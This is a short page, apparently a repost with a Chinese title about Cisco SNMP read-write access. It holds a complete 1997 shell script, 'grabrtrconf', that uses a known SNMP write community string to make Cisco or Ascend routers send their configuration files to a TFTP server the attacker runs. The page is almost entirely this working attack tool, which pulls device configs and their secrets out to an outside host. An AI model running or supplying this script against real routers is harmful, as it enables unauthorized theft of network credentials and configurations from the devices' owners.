Cisco snmp 读写权限 下载上传

工具：

#!/bin/sh
#  grabrtrconf:
#  Pull router configs via tftp for cisco's and ascends. obviously trivial to
#  modify this for other network hardware that supports this type of thing.
#
#  - [type] can be one of cisco | ascend currently
#  - defaults to cisco
#  - requires cmu snmp utilities (snmpset specifically)
#  - use TFTPLISTEN and disable tftp from /etc/inetd.conf if you want to
#    launch a 'temporary' in.tftpd just to grab the file.
#  - 'pidof' only exists on linux that I know of which kindof makes this a
#    linux-only tool, unless/until I decide to stop relying on it.
#  - Set 'INT' to whatever your routable IP is.
#  - run as root (if you want to launch the tftp server)
#
#  - I know this is lame... but it works (most of the time).
#
#  by: Eric Monti 11/1997
#

TFTPLISTEN="true"

DIR=/tftpboot #might want to use something else
WAIT=6
INT=ppp0

test "$4" = "" && echo "Usage: `basename $0` target write-community tftphost filename [type]" && exit 1

TYPE=$5
test "$5" = "" && TYPE="cisco"

IPADDR=$3
test "$IPADDR" = "." && IPADDR=`/sbin/ifconfig $INT | grep inet | sed "s/\:/\ /" | awk '{print $3}'`

echo $3

if [ -n $TFTPLISTEN ];then
        echo "tftp dgram udp wait root /usr/sbin/in.tftpd in.tftpd $DIR" > /tmp/ind.conf
        /usr/sbin/inetd -d /tmp/ind.conf &
        rm /tmp/ind.conf
        rm -f $DIR/$4
        touch $DIR/$4
        chmod 666 $DIR/$4
fi

#CISCO get config
test "$TYPE" = "cisco" && \
snmpset -r 3 -t 3 $1 $2 .1.3.6.1.4.1.9.2.1.55.$IPADDR s $4

#ASCEND get config
if [ "$TYPE" = "ascend" ];then
  snmpset -r 3 -t 3 $1 $2 .1.3.6.1.4.1.529.9.5.3.0 a $IPADDR
  snmpset -r 3 -t 3 $1 $2 .1.3.6.1.4.1.529.9.5.4.0 s $4
  snmpset -r 3 $1 $2 .1.3.6.1.4.1.529.9.5.1.0 i 3
  snmpset -r 3 $1 $2 .1.3.6.1.4.1.529.9.5.3.0 a "0.0.0.0"
  snmpset -r 3 $1 $2 .1.3.6.1.4.1.529.9.5.4.0 s ""
fi

sleep $WAIT

# i got lazy and used pidof... so what.
# I made pretty dots appear to make up for
if (test `pidof in.tftpd`);then


 echo Receiving file:
 while (test "`pidof in.tftpd`");do
        echo -n .
        sleep 1
 done
 echo
 echo Transfer Complete

fi

if [ -n $TFTPLISTEN ];then
        kill `cat /var/run/inetd.pid` # jeepers, i hope that wasnt the real1
fi